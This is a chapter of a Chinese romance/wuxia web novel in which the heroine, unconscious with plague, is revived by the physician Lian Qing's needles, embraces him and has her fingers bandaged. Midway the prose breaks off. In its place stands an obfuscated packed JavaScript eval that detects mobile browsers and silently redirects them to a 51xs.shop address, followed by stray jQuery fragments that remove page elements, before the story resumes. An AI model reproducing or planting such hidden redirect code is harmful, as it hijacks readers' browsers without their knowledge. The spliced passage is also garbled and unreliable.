19. 前尘莫纷扰
    倏地,指尖传来一阵剧痛。

    我猛地伸出手,低头一看,十指完好,仿佛刚才的痛感只是错觉。

    奇怪,自从进入了这个梦境,身体一直是没有任何感知的,为何会突然觉得疼?

    再抬头时,周围的一切都消失了,另一个“我”也不知所踪。

    目之所及,一片混沌。

    我揉了揉眼睛,确信自己没有看错。

    脑海中突然涌现出一个传说——人死前可以看到过往发生的片段,俗称“走马灯”。

    我重新看到了过去,难道,我要死了么?

    正想着,前方赫然出现了一道亮光。

    那光耀眼夺目,即使隔得很远,也依然会被它吸引。

    我不由自主朝它走去。

    “另一个”月婵所经历的一切仍然记忆犹新,以旁观者的角度去回看,去重新经历,第一次觉得痛苦又荒唐。

    整整十年,被仇恨支配,吃尽苦头,到头来却是竹篮打水一场空。

    如果早知是这个结局,当年我还会离开莲寿寺,走上杀手这条不归路吗?

    那光团越来越近,一种喜悦、温暖的感觉油然而生。我才发现,那原来是一扇门,耀亮的光芒正是从门内发出的。

    我整理了一下衣裙,正想越过那扇门去感受里面的美好,指尖又是一痛。

    有人在我耳边焦急地大喊:“忘月,醒醒!”

    是个男子的声音。

    是谁呢?

    不是阿爹,也不是季江叔叔。

    我突然记起了声音的主人。

    是那个在山林里偶遇的小医师,那个总是喜欢穿着青衣、嘴角挂着温和笑容的清俊少年。

    原来是他?他在担心我吗?

    我好像还没来得及与他好好道别呢。

    或许,只能等下辈子了吧?

    一只脚正准备踏入那扇大门,突然感觉有什么东西落在我脸上,一滴两滴……冰冰凉凉的,似水又似雨。

    伸手一抹,又是什么都没有。

    我暗自纳闷。

    下一秒,指尖倏地又传来一阵剧痛。

    不同于前两次的痛,这次宛如有无数蚂蚁在啃噬我的手指,又好似有人将我的手放在车轮下反复碾压。

    饶是我受了那么多次伤,忍耐力极强,也不得不承认真的很疼。

    耳畔,隐隐有女子在惊叫:“连医师,有效果!忘月姑娘动了!她动了!”

    周围顿时一片嘈杂。

    “醒醒,忘月,快醒醒!”有人在用力地摇晃我的肩膀。

    我揉了揉眼睛,四周除了那扇耀眼的门,哪里有什么人?

    正疑惑间,指尖剧痛再次袭来,那扇耀眼的门也随之消失得无影无踪。

    周围顿时一片黑暗。

    耳边男子的叫喊声愈发清晰:“忘月,忘月。”

    意识瞬间回笼。

    连清在唤我?

    他在唤我!

    我不能死!

    我怎么能这样死去?

    我不甘心。

    我还没有好好地为自己而活,还没有对他说一声“多谢关照”。

    少年声音哽咽:“我自诩名医,以为让你每日按时服下汤药就能预防疫症,却不想你竟然……”

    停顿片刻,他继续道:“都怪我,要不是因为我你也不会留下来,你一定要醒过来,求你,求求你快点醒来。”

    我能清晰地感知到周围与身体的变化,但视野始终如同紧闭的门,将我囚于黑暗。

    我挣扎着,内心迫切地想睁开眼,可无论怎么努力都无济于事。

    指尖依然剧痛,少年温热的气息洒在我脸上,与之同时落下的,还有那一滴滴冰凉的眼泪。

    连清早已泣不成声,断断续续的哭声从身旁传来。

    好似干涸了很久很久的沙漠,毫无征兆地下起了一场暴雨,这一刻,心中突然涌起一股强烈的感情。

    原来,这个满目疮痍、没有阿爹阿娘的世界,也并非一无是处啊。

    至少,还有人在真心地期盼着我活着,不是吗?

    眼皮剧烈地颤动,如同蛰伏已久的蝶在努力扇动翅膀。

    我猛然睁开双眼,世界顿时一片光亮。

    一双好看却湿润的眼睛正一动不动地盯着我。

    见我苏醒,这双眼睛里的悲伤瞬间消散,似有流星划过,炸开了欢喜的烟花。

    “你终于醒了!”

    连清如释重负,松开搭在我肩头的手。

    我嘴角一勾,缓缓露出一个笑。

    他眼中犹有泪花闪烁,似是自己也意识到了这一点,连忙转身,不好意思地用袖子抹了抹脸。

    我强撑着坐了起来。

    “你小心手指……”见状,他赶忙来扶我。

    关心的话还未说完,他便手足无措地僵在了原地。

    “体、体力不支吗?也是,几天没吃饭了。我、我马上就去给你弄、弄吃的。”他有些结巴。

    “连清,”许久不曾说话,我的声音嘶哑难听,“谢谢,谢谢你。”说罢,环住他腰间地手不自觉用力了几分。

    连清身子微微颤抖,半晌,他张开双臂,将我紧紧搂住。

    “不用道谢,怪我,都怪我。”

    我依偎在他胸前,听着那强壮有力的心跳声,一阵安心。

    如果不是因为这个少年,我刚刚差点就醒不过来了。

    就那样死去,陪着阿爹阿娘也不是不行,但,内心深处总觉得有些不甘。

    阿爹阿娘是带着爱意让我降临在这世间的,她们给我取名“月婵”,是希望我这一生美好团圆。

    他们带我看花开花落,听风声雨声;他们教我识文断字,传授我为人处世的道理,倾注满腔的心血,只为告诉我——我是这世间独一无二的存在,是她们爱的传承。

    即使在那样阴暗绝望的天牢,阿爹阿娘仍不惜一切代价将我送走。她们的心愿其实很简单,只是希望我能好好活着,去看她们未能看遍的乾坤万象、日月山河。

    季江叔叔为我改名“忘月”,静心师太赐我法号“摒尘”,都是希望我能忘却过去的伤痛,摒弃尘世纷扰,重新开始新的生活。

    可我,做了什么?

    我辜负了所有人的期盼,囿于仇恨,深陷往事不可自拔。

    十年间一心想要报仇,仇人身死,郁郁寡欢,活得像个没有情感和自我的木偶……

    这不对!

    不应该是这样!

    我这一生,应当要为自己而活啊!

    想通了这些,我将脸紧紧贴在连清的心口,汲取着这十八年来少有的温暖。

    少年身子微微紧绷,心跳声如擂鼓,周身散发出的清幽药草香,更是让人想要一直沉溺其中。

    “噗嗤~”

    也不知过了多久,陌生女子的笑声传来,将我的思绪拉回现实。

    我睁开眼,循声望去,这才发现房间里还站着其她人。

    刚刚光顾着想事情,没有注意到还有村民在场,突然被人撞破,我有些羞愧难当,赶紧和抱在一起的连清分开。

    原本盯着地面、掩袖偷笑的两名妇人见状,笑得更大声了。

    高个妇人满面红光,上前说道:“忘月姑娘既已醒了,那我们也就不打扰了,饭菜晚些会送过来。”

    说罢两人福了福身,一前一后地出了门。

    房门被贴心关上,发出“吱吖”一声轻响,屋内立刻安静下来。

    我偷瞥了一眼连清,却不料正迎上他关切的目光,四目相对,我有些慌乱。

    连清唇角勾着淡淡的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14257411|151594||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑,见状起身走到桌前,从药箱里拿出了一卷纱布。

    我躺了太久,浑身仿佛被人捶打过,酸痛难当。快速调整了一个舒适的坐姿后,又重新依靠在了枕头上。

    目光落在这间陌生的房间内。

    这是一间普通的不能再普通的卧房——土黄色的墙壁,茅草搭成的屋顶,屋内除了一张床、一张大方桌、几张低矮的木椅外,再也没有别的家具。

    方桌上,整齐地摆放着一个大药箱、一排闪着寒光的银针、各种颜色的药丸,以及半碗看起来有些骇人的浓稠的黑褐色药汁。

    “手伸过来。”连清不知何时已坐到床边。

    “做什么?”虽这么问,但我还是按照他的要求伸出了双手,这才发现——指尖正沁着血珠。

    “疼吗?”少年眼中有一闪而过的愧疚。

    我摇了摇头:“不疼。”

    连清不信,斜睨了我一眼:“嘴硬,我亲自动得手,我还不知道自己的力道吗?”

    乍一听觉得这话很有道理,但细细思考,又总觉得哪里不对。

    针虽是连清扎得,但落在我身上,显然我才是最清楚疼不疼的那一个。

    但争论这个,好像并没有什么意义。想了想,我承认道:“好吧,有一点,但我不怕疼。”

    “撒谎。”连清咬牙,露出了一幅恨铁不成钢的模样,“都这样了,你就不能对我说实话吗?”

    说实话?

    我歪着脑袋,不知该如何接话。

    世上当然不会有人不怕疼,只是有些人疼了也不会得到关心,所以喊不喊疼又有什么意义?

    不过,或许以后有人愿意倾听我的真实想法了吧?想到这,我笑着点了点头:“是有一点疼。”

    “是我不好,”连清盯着我的手指,满脸愧色,“当时情况紧急,我……”

    “我知道。”我忙打断他,感激一笑:“没有‘活菩萨’扎得这几针,我可醒不过来。”

    “傻瓜。”他摇了摇头,似是对我的调侃有些无奈。说罢,拿起药膏和纱布,开始帮我包扎。

    两人距离极近,少年脸颊上的绒毛清晰可见,我这才发现,他有些憔悴。

    原本光洁的下巴不知何时长出了青色的胡茬,眼底也是乌青一片,而那双往日如清水般干净的眸子,更是布满血丝。

    我不由发问:“连清,我睡了多久?”

    少年头也未抬:“五天。”

    昏迷时感觉过去了大半生,现实却只过了五天。

    “这五天,你一定忙坏了吧?晚湘村的村民们怎么样了?”记得晕倒前,村里一大半人已经脱险了。

    连清已在我十个手指上涂好了药,此刻正温柔地包扎着,“村民们全部无碍了。”

    “那就好。”我不由松了一口气。

    虽然我是为了他才留在此地,但付出得到了好的回报,也算是一件值得开心的事。

    “醒来就问别人,能不能关心一下自己?”少年眉头微微蹙起。

    我:“我现在不是好好的吗?”

    虽然得了疫症,但他帮我治好了。

    连清的医术,竟厉害到了如此程度……

    少年抬眸,脸上神色突然有些不自然,他看了我两眼,欲言又止道:“忘月,你的身体……”

    “嗯,昏迷时我都听到了,我也感染了。”我尽量装得云淡风轻,免得小医师再露出那种愧疚后悔的神情。

    连清微微一愣,默了默,道:“是啊,你如今身子亏空得厉害,得好好养养。”

    说完他低下头,继续帮我包扎。那眼神,仿佛是在做什么十分精细的活儿,容不得出一点差错。

    我这才反应过来,就流了这点血,用得着这般大费干戈吗?

    但见对方那认真的模样,我生生忍住了。